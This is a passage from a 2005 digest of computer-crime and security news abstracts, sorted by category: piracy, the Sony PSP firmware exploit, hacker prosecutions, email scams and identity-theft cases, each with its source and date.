EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4256449.stm>

MOVIE INDUSTRY CONTINUES ANTIPIRACY CAMPAIGN

The Motion Picture Association of America (MPAA) continues its legal efforts to prevent movie piracy and prosecute those who engage in illegally sharing movie files. The trade group filed another undisclosed number of lawsuits against individuals for alleged copyright violations, and it succeeded in closing down LokiTorrent, one of a number of sites that use the BitTorrent application to help file traders find desired files on the Web. Although sites that use BitTorrent do not host files--instead providing "trackers" that locate requested files--a court in Dallas said the movie industry could access LokiTorrent's server records to identify individuals who traded copyrighted movie files. The permanent closure of LokiTorrent follows similar closings of Supernova.org and Phoenix Torrent in the past two months.

Category 19.3 *Movies / TV piracy*

2005-02-18

UK Australia TV television piracy copyright infringement

NewsScan; <http://australianit.news.com.au/articles/0>

U.K., AUSTRALIA TOP TV PIRACY LIST

Australia and Britain have been revealed as the world's biggest markets for pirate TV downloads. The trend is being driven by tech-savvy fans who are unwilling to wait for popular U.S. shows such as 24 and Desperate Housewives. Australia ranked as second largest downloader of TV programs after Britain in a study of the phenomenon by U.K. technology consultancy Envisional. The U.S. was in third position. (The Australian 18 Feb 2005)

Category 19.3

Movies / TV piracy

2005-08-05

movie piracy camcorder law charges filed MPAA peer-to-peer P2P file sharing

EDUPAGE; http://news.com.com/2100-1030_3-5819976.html

FIRST CHARGES FILED UNDER CAMCORDER LAW

A 19-year-old man from Missouri has become the first person charged under a recently enacted federal law banning the use of camcorders to tape movies in theaters and then make them available online. According to the Motion Picture Association of America, such camcorder piracy accounts for more than 90 percent of movies that are available online prior to their release outside theaters. Curtis Salisbury is charged with taping two movies in theaters and placing them on so-called warez networks, where many pirated movies and songs find their way onto the Internet. From there, pirated content typically ends up on P2P networks. Unlike the majority of people who upload copyrighted content to such networks, Salisbury tried to profit financially from the movies he posted. He is charged with conspiracy, copyright infringement, and two violations of the law banning camcorders in theaters. He faces up to 17 years in prison. Reuters, 5 August 2005

19.5 Games piracy

Category 19.5

Games piracy

2005-06-15

game system digital rights copy protection vulnerability exploit

RISKS; <http://www.eepi.org/archives/eepi-discuss/msg00100.html>

23

90

EXPLOIT OF SONY PSP RAPIDLY DEVELOPED

Lauren Weinstein wrote two excellent postings in the Electronic Entertainment Policy Initiative discussion list and pointed to them in a summary for RISKS.

>As we know, often even the most elaborate attempts at controlling access to hardware and software, even using the very latest technologies, may be less than entirely successful.

An example is the just-announced "exploit" of Sony's powerful and popular new "PSP" portable gaming system (which includes WiFi and other advanced capabilities). The unit employs digital signing and hardware AES encryption to try prevent the running of "unofficial" applications.

However, ... the PSP exploitation door has apparently been opened quite wide both for piracy and a vast array of homebrew applications....

The powerful new PSP -- based on the MIPS R4000 CPU -- complete with a gorgeous color display and WiFi capability, became an obvious target for homebrew applications, ranging from game emulators to Linux projects. However, the device was designed to refuse the execution of programs that had not been "signed" by Sony, primarily as a control against game piracy, we assume.

However, it was soon discovered that the earliest PSP units, released only in Japan, contained a firmware flaw allowing the running of properly manipulated unsigned code. Immediately, homebrew applications began to appear. By the time the PSP was released in the U.S. Just a few months ago, the early Japanese version 1.0 firmware had been replaced with version 1.5, and the execution hole appeared to be closed. A high premium on the early Japanese units resulted.

The U.S. PSP fans stayed busy by discovering a Web browser included in a popular PSP game for update purposes ("Wipeout Pure"), that could be manipulated to reach arbitrary sites via various DNS tricks. Meanwhile, various hacking groups worked at finding a way to open an unsigned execution path on the 1.5 firmware.<

In his follow-up article, Weinstein reported

>...[T]he exploit for Sony's PSP ... was released as "advertised" this morning and has already been tested by many users around the world. Reports indicate that it provides the functionality previously discussed, and it has been confirmed that it will not run on PSP firmware later than the 1.5 version. All but the earliest (firmware 1.0) PSP units in Japan, and all U.S. Units, have so far been shipped at firmware level 1.5. Sony has recently released firmware versions 1.51 and 1.52, which block the exploit, that some users have already flashed to their units via Web downloads.

While the exploit apparently works, it is not by itself a terribly practical long-term procedure, since it involves the rapid swapping of memory sticks during the startup of each unsigned application.

However, the camel's nose is now in the tent, and the exploit, by allowing the execution of arbitrary unsigned code (including the ability to reflash the unit's firmware), will likely lead *very* rapidly to more "user-friendly" and far-reaching exploitations and homebrew applications."<

In a posting in RISKS 23.92, Weinstein continued, >It only took around a week for the exploit to evolve from unwieldy but powerful hack, to user-friendly production program, but the "signed-code" security system of the Sony PSP Portable running 1.5 firmware, designed to prevent the execution of pirated or other "unofficial" (e.g. Homebrew) code, appears to have been obliterated.<

19.8 Plagiarism & cheating

Category 19.8

Plagiarism & cheating

2005-03-14

study online citation sources plagiarism copyright infringement Iowa State University

EDUPAGE; <http://chronicle.com/prm/daily/2005/03/2005031402n.htm>

STUDY SHOWS ONLINE CITATIONS DON'T AGE WELL

A study conducted by two academics at Iowa State University has shown a remarkably high rate of "decay" for online citations. Michael Bugeja, professor of journalism and communication, and Daniela Dimitrova, assistant professor of communication, looked at five prestigious communication-studies journals from 2000 to 2003 and found 1,126 footnotes that cite online resources. Of those, 373 did not work at all, a decay rate of 33 percent; of those that worked, only 424 took users to information relevant to the citation. In one of the journals in the study, 167 of 265 citations did not work. Bugeja compared the current situation to that of Shakespearean plays in the early days of printing, when many copies of plays were fraught with errors due to the instability of the printing medium. Anthony T. Grafton, a professor of history at Princeton University and author of a book on footnotes, agreed that citation decay is a real and growing problem, describing the situation as "a world in which documentation and verification melt into air." Chronicle of Higher Education, 14 March 2005 (sub. req'd)

Category 19.8

Plagiarism & cheating

2005-05-19

software plagiarism uncovering self-plagiarism Cornell University intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/prm/daily/2005/05/2005051901t.htm>

JOURNALS USING SOFTWARE TO UNCOVER PLAGIARISM

Software designed to uncover plagiarism is increasingly being used not only for student papers, where it got its start, but also for academic journals, where it is turning up instances of self-plagiarism as well. Although some dismiss self-plagiarism as unimportant relative to plagiarizing another's work, the practice of republishing one's own work in various venues strikes others as similarly objectionable. Christian Collberg, assistant professor of computer science at the University of Arizona, characterized self-plagiarism as vita padding and said that self-plagiarists who are funded from public sources are misusing taxpayer money. Collberg is working on a software application specifically designed to uncover instances of self-plagiarism. Though not as concerned about self-plagiarism, Cornell University is testing a plagiarism-detection application on an archive it maintains of articles in physics, math, and computer science. Among the 300,000 articles in the archive, the tool has found a few thousand instances that warrant further investigation. Chronicle of Higher Education, 19 May 2005 (sub. req'd)

19.9 Counterfeit products (hardware, clothing etc.)

Category 19.9

Counterfeit products (hardware, clothing etc.)

2005-01-04

AMD microprocessor chip manufacturer warning counterfeit PC server chips Athlon XP

DHS IAIP Daily; <http://www.internetnews.com/ent-news/article.php/3454481>

AMD WARNS ABOUT COUNTERFEIT PC AND SERVER CHIPS

AMD is warning customers of potentially mislabeled PC and server chips after helping foil a counterfeit ring in Taiwan. The company alerted authorities to a problem in Taipei late last month. Raids at four sites led to multiple arrests for "re-marking" or reselling re-marked AMD Athlon, Athlon XP and Opteron processors. Re-marked processors have been tampered with and may have been illegally re-labeled with inaccurate frequencies, model numbers, or both. "We strongly recommend consumers and businesses buy AMD processors only from authorized distributors and certified resellers," AMD spokesperson Catherine Abbinanti said. AMD said customers can identify genuine AMD products by a so-called "Processor-in-a-Box" sticker. The label, which has been in place since 2003, includes a unique serial number and a 3-D hologram used for tracking, distribution, authenticity and warranty service.

1A2 **Criminal hacker testimony in court or committees**

Category 1A2

Criminal hacker testimony in court or committees

2005-07-05

Sasser worm author confession Germany prosecution Sven Jaschen

EDUPAGE; <http://www.nytimes.com/reuters/technology/tech-crime-germany-sasser.html>

AUTHOR OF SASSER WORM CONFESSES

Prosecutors in Germany have announced that Sven Jaschan, on trial for writing the Sasser computer worm, this week confessed to all charges against him. Regarded as possibly the most damaging computer worm ever released, Sasser and its several versions are blamed for crashing as many as one million computers around the world, affecting home users and companies including the European Commission and Goldman Sachs. Jaschan, who is 19 now and was a minor when he committed some of his crimes, had previously admitted to writing the worm; this week, he also confessed to data manipulation, computer sabotage, and interfering with public corporations. He faces up to five years in prison and paying restitution to those affected by Sasser. Monetary damages from the worm have only reached about \$150,000, but that number could easily rise into the millions if all those affected reported the damage. New York Times, 5 July 2005 (registration req'd)

1A3 Biographical notes on individual criminals (including arrests, trials)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-01-04 **spam spyware Wallace FTC**

NewsScan;

<http://www.cnn.com/2005/TECH/internet/01/04/spyware.ap/index.html>

'SPAM KING' AGREES TO CEASE-FIRE

Under an agreement with the Federal Trade Commission, a man dubbed the "Spam King" will stop distributing spyware until a federal lawsuit is resolved. In addition, Sanford Wallace has agreed to send online ads only to people who visit the Web sites of companies -- SmartBot.net of Richboro, Pennsylvania and Seismic Entertainment Productions of Rochester, New York. "The commission does believe this is great relief for consumers until the matter is ultimately resolved in the courts," says FTC lawyer Laura Sullivan. "This provides wonderful protection for consumers in the interim." Wallace's most recent exploits included sending pop-up messages to Microsoft Word users offering to sell software that would block the pop-ups (but according to the government, didn't work). In the 1990s he earned the nickname "Spam King" after spewing out as many as 30 million junk e-mails per day to consumers. (AP/CNN.com 4 Jan 2005)

[MK notes: This creep is widely known as "Spamford" Wallace. He started his direputable career as a junk faxer in the 1980s and went on from there. See for example "Sanford Wallace: Back to the Fax?" in WIRED (1998) <<http://wired-vig.wired.com/news/culture/0,1284,9847,00.html>>.]

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-02-14 **vandal jail prison WebTV hacking 911 guilty plea court trial fraud**

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10902507.htm>

NETWORK VANDAL FACES 10 YEARS IN PRISON

David Jeanssone, a 44-year-old Louisiana man, faces up to ten years in prison for hacking into WebTV. Jeanssone has pleaded guilty to having sent e-mail messages to about 20 subscribers in 2002, advising the recipients that they could change the display colors on their screens -- but in fact secretly resetting their dial-in telephone number so that they called 911 instead of the local modem telephone number when they tried to access WebTV. (San Jose Mercury News 14 Feb 2005)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-02-17 **Arizona student sentences copyright violations guilty movies music prison probation community service property felony**

EDUPAGE; <http://kvoa.com/Global/story.asp?S=2934754>

ARIZONA STUDENT SENTENCED FOR COPYRIGHT VIOLATIONS

A student at the University of Arizona who pleaded guilty to unauthorized possession of copyrighted movies and music has been sentenced to three months in prison, three years' probation, and 200 hours of community service. The 18-year-old student, Parvin Dhaliwal, was also fined \$5,400. Andrew Thomas, attorney for Maricopa County, noted that illegal possession of intellectual property is a felony. Thomas said some of the movies Dhaliwal had copies of were, at the time, only being shown in theaters. Dhaliwal was also ordered to take a copyright course at the University of Arizona and not to use file-sharing programs.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*
2005-05-06 **UK Britain Drink-or-Die criminal hacker cracker group software piracy conspiracy fraud charge**

EDUPAGE; <http://news.zdnet.co.uk/software/0,39020381,39197662,00.htm>

DRINK-OR-DIE CONSPIRATORS HEADED TO PRISON

A British court has sentenced three men to prison for their involvement in the so-called Drink-or-Die group, which cracked the copy protections on software and then distributed it over the Internet. The three men received sentences ranging from 18 to 30 months, while a fourth man received a suspended sentence; all were charged with conspiracy to defraud. Prosecutors alleged that the piracy ring cost software companies millions of dollars in lost sales, and the verdicts were seen by some as a strong, clear message to software pirates. Others were critical of the government's case, however, saying that the men should have been charged with copyright violations rather than conspiracy. Security expert Peter Sommer, who served as a witness for the defense, said the government has no way of proving how much the ring cost software makers. He said the conspiracy case cost the government significantly more money and took much longer to try than a copyright case. A spokesperson from the British Crown Prosecution Service said the charges were appropriate, commenting that the authorities do "not determine cases on the basis of how much they will cost to prosecute." ZDNet, 6 May 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*
2005-06-08 **criminal hacker US military targets Pentagon Washington DC UK British national extradition**

EDUPAGE; http://www.theregister.com/2005/06/08/brit_hack_suspect_arrest/

PENTAGON HACKER ARRESTED, FACES EXTRADITION

A British man suspected of hacking into more than 50 computer systems operated by the U.S. government has been arrested in London and faces extradition to the United States. Gary McKinnon is accused of exploiting security weaknesses in computer systems at the Pentagon, NASA, and a number of military sites between February 2001 and March 2002. In one attack, McKinnon is said to have blocked access to 2,000 individual military computers in the Washington area. U.S. authorities said they spent \$1 million fixing the damage from the attacks, and a grand jury indicted McKinnon in 2002. McKinnon has been released on bail, and Karen Todner, McKinnon's attorney, said he would "vigorously" fight the extradition. "As a British national," she said, "he should be tried here in our courts by a British jury." The Register, 8 June 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*
2005-06-13 **data theft computer program personal information disclosure Social Security Numbers University of Texas Austin**

EDUPAGE; <http://chronicle.com/prm/daily/2005/06/2005061301t.htm>

FORMER STUDENT CONVICTED OF STEALING DATA

A former student of The University of Texas at Austin has been found guilty of writing a computer program that stole names and Social Security numbers from about 37,000 students, faculty, and others associated with the university. The jury found Christopher Andrews Phillips not guilty, however, of intending to profit from the data he stole. Phillips, who is now a senior at the University of Houston, said he wrote the program as part of his computer training and never had any intention of using the information. The theft took place in 2002 and 2003, when Phillips's program made more than 600,000 inquiries to a UT database, trying to match names with Social Security numbers. UT officials detected the activity and traced it to Phillips, whose computer was seized with the program he wrote and the data it had harvested. Phillips faces up to six years in prison; had he been convicted of the other charges, he would have faced close to 30 years. Chronicle of Higher Education, 13 June 2005 (sub. req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)
2005-08-15 **e-mail marketer data theft conviction fraud Axiom Corp**
EDUPAGE; <http://online.wsj.com/article/0,,SB112406416615412935,00.html>
SPAMMER SCOTT LEVINE CONVICTED OF STEALING 1.6 BILLION NAMES

A jury in Arkansas has convicted Scott Levine of stealing 1.6 billion computer records from Little Rock-based data vendor Axiom Corp. The records included names, addresses, phone numbers, and other personal information that Levine's company, Snipermail.com, sought to use in direct e-mail marketing campaigns. In the case, the government presented evidence that Levine had used illegally obtained passwords of about 300 legitimate Axiom customers to fraudulently access the records. Levine was convicted of 120 counts of unauthorized access to a computer, two counts of fraud for cracking passwords, and one count of obstruction of justice for trying to destroy evidence stored on Snipermail computers. Levine will be sentenced in January. Axiom said that since the intrusion, it has improved security procedures for protecting data, including strengthening encryption systems and the company's ability to detect when unauthorized access takes place. Wall Street Journal, 15 August 2005 (sub. req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)
2005-08-27 **worm malicious code two arrests investigation Microsoft operating system OS FBI cybercrime**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12488476.htm>

TWO MEN NABBED IN WORM INVESTIGATION

Two men have been arrested in connection with an investigation into the Zotob worm, which surfaced in August and took advantage of a flaw in the Microsoft operating system. The worm affected computers at organizations including The New York Times, ABC, CNN, the Associated Press, and the Immigration and Customs Enforcement bureau. According to Louis M. Riegel, assistant director for cyber crimes at the FBI, Farid Essebar was arrested in Morocco, and Atilla Ekici was arrested in Turkey. Riegel said that Ekici had paid Essebar to write the worm, and the pair are also suspected of writing the Mytob worm, which was released in February. Zotob is able to infect computers even if users do not open any applications. As a result, some users are struck by the worm without knowing about it. Still, experts believe the damage from the worm has been relatively minor, given that the operating system most affected, Windows 2000, is more than five years old and that most organizations quickly patched the flaw that Zotob exploits. San Jose Mercury News, 27 August 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)
2005-08-29 **international arrest US computer worm probe Morocco Turkey FBI**

DHS IAIP Daily; http://cnn.netscape.cnn.com/ns/news/story.jsp?flok=FF-APO-PL S&idq=/ff/story/0001/20050826/1558760757.htm&related=off&cwp=ewp_news_computer_virus

TWO ARRESTED IN U.S. COMPUTER WORM PROBE

Authorities in Morocco and Turkey have arrested two people believed responsible for a computer worm that infected networks at U.S. companies and government agencies earlier this month. Farid Essebar, 18, was arrested in Morocco, while Atilla Ekici, 21, was arrested in Turkey on Thursday, August 25, Louis M. Riegel, the FBI's assistant director for cyber crimes, said Friday. They will be prosecuted in those countries, Riegel said. Essebar wrote the code that attacked computers that run Microsoft operating systems and Ekici paid him for it, Riegel said. It's unclear they ever met, "but they certainly knew each other via the Internet," he said. Riegel said he does not know how much money changed hands. Microsoft and FBI officials also declined to estimate the monetary damage done by the Zotob worm and its variations. The worm disrupted computer operations in mid-August at several large news organizations, including The Associated Press, ABC, CNN, and The New York Times; such companies as heavy-equipment maker Caterpillar Inc.; and the federal Immigration and Customs Enforcement bureau. Official FBI statement: http://www.fbi.gov/pressrel/pressrel05/zotob_release082605.htm

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-09-07 **hacking sentence University of Texas conviction**

EDUPAGE; <http://www.chron.com/cs/CDA/ssistory.mpl/metropolitan/3342919>

UT HACKER GETS FINE, PROBATION

A former student at the University of Texas at Austin has been sentenced for hacking into the university computer system, a charge on which a federal jury convicted him in June. Christopher Andrew Phillips has been ordered to pay \$170,000 in restitution for his crimes and to serve five years of probation. Phillips was found guilty of damaging the university's computers and of illegally possessing close to 40,000 Social Security numbers. The jury acquitted him of intending to profit from the personal information he obtained. In addition to the fine and probation, Phillips is forbidden from using the Internet for five years except for school or for work and only under the supervision of his parole officer. In a statement, U.S. Attorney Johnny Sutton said, "[Phillips] found out the hard way that breaking into someone else's computer is not a joke." Houston Chronicle, 7 September 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-10-25 **file sharing peer-to-peer P2P Sweden music movie piracy conviction intellectual property rights violation copyright infringement**

EDUPAGE; <http://news.bbc.co.uk/1/hi/technology/4376470.stm>

FILE SHARER CONVICTED IN SWEDEN

For the first time, a file sharer has been convicted in Sweden, a country long seen as soft on digital piracy. Indeed, the country only this past July passed a law against downloading copyrighted material. The conviction stems from a case prior to passage of the downloading law, when Andreas Bawer uploaded a movie to the Internet. Although the court found Bawer not guilty of downloading the film because the new law had not been put into place, it found him guilty of violating copyright law for distributing the film online. In its ruling, the court said, "Illegal material can in this way be spread quickly and reach many people, which can lead to heavy economic losses for the copyright owners." Because Bawer did not try to profit from his actions, the court decided to fine him rather than sentence him to prison. Bawer's attorney said his client had not yet decided whether he would appeal the verdict. Henrik Ponten of the Swedish Anti-piracy Agency praised the ruling, saying that Sweden has "taken the first step toward a functioning copyright law." BBC, 25 October 2005

1A4

Criminal hacker publications

Category 1A4

Criminal hacker publications

2005-07-11

Phrack magazine publication ending computer security mischief information exchange

EDUPAGE; <http://software.silicon.com/security/0,39024655,39150241,00.htm>

SECURITY COMMUNITY BEMOANS LOSS OF HACKER MAGAZINE

Long-time hacker magazine "Phrack" will stop being published this year after nearly 20 years as an information exchange for computer mischief, and at least some computer security experts believe computer users will be less safe after it is gone. Hackers have routinely undermined their own efforts by revealing their successes at compromising systems or causing other damage. Pete Simpson of computer security firm Clearswift noted that although the magazine makes computer exploits available to those who would use them to cause harm, by definition it also makes them available to the community of users working to protect computers from hackers. Simon Perry, vice president of security strategy at Computer Associates, said that security experts will still be able to find information about new exploits but that "Phrack was great as a one-stop shop" for such information. Simpson commented that after Phrack shuts down, younger hackers are likely to develop new vehicles to tell the world about their triumphs, once again leveling the playing field. Silicon.com, 11 July 2005

1A6 Criminal hacker psychology

Category 1A6

Criminal hacker psychology

2005-01-13

web vandalism hackers Bruce Schneier crime psychology

NewsScan; <http://tech.nytimes.com/pages/technology/index.html>

SECURITY III: THE CRIMINAL CLASS

In an interview with journalist John Markoff of the New York Times, security expert Bruce Schneier suggests that the problem of Web vandalism has fundamentally changed in the last several years. Previously, hackers were mainly kids, engaging in hacking as a kind of intellectual challenge or a sport, but more recently hackers are coming mainly from criminals "in Third World countries, from Africa, South America, Asia, and the former Soviet Union" -- a development that makes life much harder for security officials. Schneier, whose latest book is "Beyond Fear," is founder and chief technology officer of Counterpane Internet Security. (New York Times 13 Jan 2005)

Category 1A6

Criminal hacker psychology

2005-06-08

criminal hacker penetration government computers damage estimate extradition flying saucers UFOs theory jail charge allegations accusations

RISKS; <http://tinyurl.com/b6x5e>

23

89

CRIMINAL HACKER "SOLO" ACCUSED OF BREAKING INTO US GOVT COMPUTERS TO FIND EVIDENCE OF UFO COVERUP

Rob Singh reported on the case in the London Evening Standard newspaper:

Gary McKinnon, 39, was seized by the Met's extradition unit at his Wood Green home.

The unemployed former computer engineer is accused of causing the US government \$1billion of damage by breaking into its most secure computers at the Pentagon and Nasa. He is likely to be extradited to America to face eight counts of computer crime in 14 states and could be jailed for 70 years....

Most of the alleged hacking took place in 2001 and 2002.... Friends said that he broke into the networks from his home computer to try to prove his theory that the US was covering up the existence of UFOs. He is accused of a series of hacking offences including deleting "critical" files from military computers. The US authorities said the cost of tracking him down and correcting the alleged problems was more than £570,000. The offences could also see him fined up to £950,000 if found guilty on all charges.... [T]he US first issued an indictment against him in November 2002.

Prosecutor Paul McNulty alleged that McKinnon, known online as "Solo," had perpetrated "the biggest hack of military computers ever". He was named as the chief suspect after a series of electronic break-ins occurred over 12 months at 92 separate US military and Nasa networks.

McKinnon was also accused of hacking into the networks of six private companies and organisations. It is alleged that he used software available on the internet to scan tens of thousands of computers on US military networks from his home PC, looking for machines that might be exposed due to flaws in the Windows operating system.

Many of the computers he broke into were protected by easy-to-guess passwords, investigators said. In some cases, McKinnon allegedly shut down the computer systems he invaded.

The charge sheet alleges that he hacked into an army computer at Fort Myer, Virginia, where he obtained codes, information and commands before deleting about 1,300 user accounts....

1B3 Pedophilia, kidnapping, Net-adoption fraud

Category 1B3

Pedophilia, kidnapping, Net-adoption fraud

2005-05-22

pedophiles police children parents Internet chat guidance warnings assault rape

<http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm>

INTERNET PEDOPHILE PREDATORS OFTEN UNPUNISHED

A report in the Daytona Beach News Journal Online summarizes police experience with pedophile predators. These adults prey on pre-teens and early teens, especially young girls. The number of predators is so high that police officers in training who pose as thirteen-year-old girls cannot keep up with the number of instant-messaging solicitations they receive within minutes to hours of going online. Police urge parents to get involved in their children's online experience and not to be punitive if children report inappropriate behavior by someone they have met online.

[Http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm](http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm)

[MK adds: see the booklet "Cyber-safety for All" available free at
<http://www2.norwich.edu/mkabay/cyberwatch/cybersafety.pdf>
Anyone may make copies of this guide for free distribution.]

1B9 Non-virus hoaxes, urban myths

Category 1B9

Non-virus hoaxes, urban myths

2005-02-22

e-mail scam Department Homeland Security DHS exploit war Iraq hoax

DHS IAIP Daily; <http://www.informationweek.com/story/showArticle.jhtml?articleID=60402476>

E-MAIL SCAMS EXPLOIT HOMELAND SECURITY AND SOLDIERS KILLED IN IRAQ.

Federal authorities are investigating two e-mail scams, including one targeting families of soldiers killed in Iraq, that claim to be connected to the Department of Homeland Security (DHS). Both of the online pleas for help -- and money -- link themselves to the Immigration and Customs Enforcement (ICE) bureau's Website. ICE is one branch of DHS. In one scheme, e-mail sent to families of U.S. soldiers killed in Iraq include a link to the bureau. The e-mail seeks to recover money from a friend of the slain soldier. In the other, the e-mail identifies itself as being sent by a federal agent trying to track down funds looted from the Iraqi Central Bank by Saddam Hussein's son. The e-mail also links to the bureau Website. Both e-mail campaigns are bogus and people are urged to ignore and delete them.

Category 1B9

Non-virus hoaxes, urban myths

2005-11-22

FBI warning e-mail scam fraud Internet Crime Complaint Center

DHS IAIP Daily;

<http://www.cnn.com/2005/TECH/internet/11/22/email.scam.ap/index.html>

FEDERAL BUREAU OF INVESTIGATION WARNS OF E-MAIL SCAM

The Federal Bureau of Investigation (FBI) issued an alert Monday, November 21, about a scam involving unsolicited e-mails, purportedly sent by the FBI, that tell computer users that their Internet surfing is being monitored by the agency. The users are told they have visited illegal Websites and are instructed to open an attachment to answer questions. The FBI did not send these e-mails and does not send any other unsolicited e-mails to the public. The FBI is investigating the scam. Recipients of these e-mails are asked to report them by visiting the Internet Crime Complaint Center. Internet Crime Complaint Center:
<http://www1.ifccfbi.gov/strategy/051122.pdf>

1C2 Identity theft

Category 1C2 Identity theft

2005-01-12 **ID identity theft sentencing crime Teledata prison**

NewsScan; <http://www.latimes.com/technology/la-fi-idtheft12jan12>

IDENTITY THIEF DRAWS 14-YEAR PRISON TERM

A former help-desk worker at Teledata Communications, which provides banks with access to credit information, was sentenced to 14 years in prison for his role in the largest identity theft in U.S. history. U.S. District Court Judge George B. Daniels called the damage to victims caused by Philip A. Cummings "almost unimaginable," involving tens of thousands of individuals and caused losses of between \$50 million and \$100 million. Daniels noted the case "emphasized how easy it is to wreak havoc on people's financial and personal lives." (AP/Los Angeles Times 12 Jan 2005)

Category 1C2 Identity theft

2005-01-27 **ID identity theft wallet checkbook study offline study**

NewsScan; <http://apnews.excite.com/article/20050127/D87SE8NO0.html>

MOST IDENTITY THEFT OCCURS OFFLINE

Despite growing concerns over online fraud, a new study conducted by the Better Business Bureau and Javelin Research finds that most cases of identity theft can be traced to a lost or stolen wallet or checkbook, rather than vulnerable online financial data. Computer crimes make up just 12% of all ID fraud cases in which the origin is known, and half of those are attributed to spyware that sneaks onto computers and steals private information. (AP 27 Jan 2005)

Category 1C2 Identity theft

2005-02-13 **personal data leakage control confidentiality identity theft**

RISKS; <http://www.washingtonpost.com/ac2/wp-dyn/A17506-2005Feb11>

23

73

BREAK-IN AT SAIC RISKS ID THEFT

Monty Solomon contributed a report from the Washington Post:

Some of the nation's most influential former military and intelligence officials have been informed in recent days that they are at risk of identity theft after a break-in at a major government contractor netted computers containing the Social Security numbers and other personal information about tens of thousands of past and present company employees.

The contractor, employee-owned Science Applications International Corp. of San Diego, handles sensitive government contracts, including many in information security. It has a reputation for hiring Washington's most powerful figures when they leave the government, and its payroll has been studded with former secretaries of defense, CIA directors and White House counterterrorism advisers.

Those former officials -- along with the rest of a 45,000-person workforce in which a significant percentage of employees hold government security clearances -- were informed last week that their private information may have been breached and they need to take steps to protect themselves from fraud.

David Kay, who was chief weapons inspector in Iraq after nearly a decade as an executive at SAIC, said he has devoted more than a dozen hours to shutting down accounts and safeguarding his finances. He said the successful theft of personal data, by thieves who smashed windows to gain access, does not speak well of a company that is devoted to keeping the government's secrets secure....

Category 1C2 Identity theft
2005-02-17 **ChoicePoint ID identity theft data loss crime**
NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10921081.htm>
DATABASE COMPANY WARNS OF ID THEFT CONCERNS

ChoicePoint, a Georgia company in the business of selling personal data on consumers, is alerting 145,000 people throughout the nation that a crime ring paid for their credit reports, Social Security numbers and other information. Con artists had posed as owners of debt-collection agencies, insurance agencies and other firms that told ChoicePoint they needed to run background checks on consumers. (San Jose Mercury News 17 Feb 2005)

Category 1C2 Identity theft
2005-02-22 **ChoicePoint theft consumers ID identity theft**
NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A45534-2005Feb22.html>
PROTECTING YOURSELF AGAINST IDENTIFY THEFT

Consumers worried that their personal and financial data may have been captured by the criminals who scammed the ChoicePoint company are being assured by the Private Rights Clearinghouse: "If you don't receive a letter from ChoicePoint within the next 10 days, you can be assured you have not been a victim of this identity theft." Even so, you should always check your monthly bank and credit card statements to make sure all charges are valid, and you should review your credit reports at least once a year. If you do get a letter from ChoicePoint, follow its instructions, visit the FTC Web site, and obtain the affidavit credit bureaus require to place a long-term fraud alert on your account. And keep reviewing your credit history! (Washington Post 22 Feb 2005)

Category 1C2 Identity theft
2005-04-27 **software programs security data breach blame concerns identity theft fraud**
EDUPAGE; <http://online.wsj.com/article/0,,SB111455367943717582,00.html>
CONCERNS MOUNT OVER SOFTWARE'S ROLE IN DATA BREACHES

A number of retailers are pointing to software used at store checkouts as the weak link in the rash of recent security breaches. Magnetic strips on credit cards include--along with the credit card number--a three-digit code. Knowing that code can allow criminals to create counterfeit cards with embossed names that do not match the name attached to the account number. With that, a crook could present a photo ID that matched the name on a card, while the charge goes against an entirely different account. Software that handles credit card purchases is supposed to delete card numbers and the three-digit codes after a transaction, but several retailers now say that the systems keep those numbers in memory. John Shaughnessy of Visa USA said that a computer system that retained those numbers would be extremely tempting for criminals. Some retailers have filed suits against the makers of the software, seeking compensation for losses resulting from recent hacks. At least one software company, Micros Systems, rejected retailers' contentions, saying its products do not store such information. Wall Street Journal, 27 April 2005 (sub. req'd)

Category 1C2 Identity theft
2005-05-11 **social engineering fake bank machines identity theft fraud**
RISKS; <http://tinyurl.com/cwhpd> 23 89
FAKE ATMs IN ROMANIA USED FOR IDENTITY THEFT

Audacious thieves in Romania have constructed a complete automated teller machine (ATM), minus the cash box, to steal the details of account holders. Fake ATMs have appeared at apartment buildings or in areas of the capital where there are no banks. Usually criminals only place a fake panel over an existing ATM, and do not construct a complete machine. Romania's biggest bank, Banca Comerciala Romana (BCR), said customers should only use ATMs situated around bank branches. "Banks do not install ATMs in blocks of flats," BCR spokesman Cornel Cojocaru said.

[Abstract in RISKS by James Bauman]

Category 1C2 Identity theft

2005-05-18 **student report research John Hopkins University personal information harvesting**

EDUPAGE; <http://www.nytimes.com/2005/05/18/technology/18data.html>

STUDENTS SHOW EASE OF IDENTITY THEFT

Graduate students at Johns Hopkins University set out to see how much personal information they could collect on as many individuals as possible, using only the Internet and \$50. The 41 students were in a course taught by Aviel D. Rubin, professor of computer science and technical director of the university's Information Security Institute, who divided them into groups of three or four and instructed them to use only legal, public sources of information. The exercise mimicked the activities of data brokers, such as ChoicePoint and LexisNexis, and the students were able to collect and aggregate vast amounts of information, even with limited time and budgets. Although Rubin was pleased that fewer Social Security numbers were among the data collected than he had anticipated, privacy advocates insisted that such information remains easy to obtain, posing enormous risk of identity theft. Even without Social Security numbers, the data collected represented for some individuals a very broad picture of who they are, where they live, and activities in which they participate. Such access to personal information worries many, including Sen. Ted Stevens (R-Alaska), who conducted a similar experiment, instructing his staff to try to steal his identity. Aside from information they discovered about Stevens, they were told they could buy his Social Security number for \$65. New York Times, 18 May 2005 (registration req'd)

Category 1C2 Identity theft

